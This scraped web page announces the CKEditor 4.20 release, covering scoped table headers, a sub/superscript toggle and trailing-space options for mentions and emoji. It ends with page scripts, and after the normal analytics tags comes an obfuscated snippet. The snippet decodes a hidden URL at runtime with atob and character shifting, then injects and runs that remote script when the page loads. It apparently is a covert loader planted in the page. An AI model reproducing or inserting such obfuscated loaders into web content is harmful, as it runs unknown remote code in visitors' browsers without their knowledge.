CKEditor 4.20 with enhanced table headers, better editing experience, and important bug fixes

We are happy to announce the 4.20 version of CKEditor 4. The latest release comes with many configurable features that enhance the editing experience. Table headers are now better defined which aids accessibility. Sub- and superscript can now be set as toggle formatting while editing. And last but not least, mentions have been enhanced. There are also several bug fixes.

# Better accessibility support for table headers

Table headers are an essential part of the table feature, making content more accessible and readable. They behave as a title for a specific table column or a row and provide more information to screen readers, improving content navigation.

The default behavior of CKEditor 4 before the latest release only provided a standard table header element – th. Such an approach works well with less complex tables where assistive technology can decide by itself, whether the table header should be detected as a column header or a row header. In more complex tables, it may lead to incorrect header recognition, quite against the original user intention.

CKEditor 4.20 introduces the configurable config.tabletools_scopedHeaders option, allowing to extend the cell type dropdown with column and row headers. Upon applying, this feature will change the cell type to th with a proper scope attribute, leaving no doubt about the correct header type.

# More control over the sup- and subscript features behavior

By default, CKEditor 4 allows applying subscript and superscript simultaneously, making it simple to construct more advanced content, for example, mathematical formulas. For some users, however, it may be more convenient to use both these features separately, and treat them as togglable properties if the counterpart feature is enabled.

The newly introduced config.coreStyles_toggleSubSup configuration option disallows setting subscript and superscript simultaneously on the same element using UI buttons.

# Finish mentions and emoji autocompletion with a space

Modern text editors have made us accustomed to small, but useful tweaks that make editing and collaboration more pleasurable. Starting with the latest release, thanks to two configuration options introduced for the Mentions and Emoji plugin, you can make sure that every accepted autocompletion panel suggestion will be followed by an empty space that intelligently fits into existing content – depending on the existence of other spaces that may follow the text selection. Use the configDefinition.followingSpace option for mentions plugin, and the config.emoji_followingSpace option for emoji plugin to activate this change in the editor.

# Other improvements

# Release notes

Check out the release notes and contact us for more information.

# Download

Download CKEditor now and upgrade your installation or use your favorite package manager to install it!

# License

CKEditor is available under Open Source and Commercial licenses. Full details can be found on our license page.

# Reporting issues and contributing

Please report any new issues in the CKEditor 4 development repository and follow the instructions in the issue template. You can also contribute code and provide editor patches through pull requests.

# Support

Community support is available through Stack Overflow. Visit the resources page for additional options.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });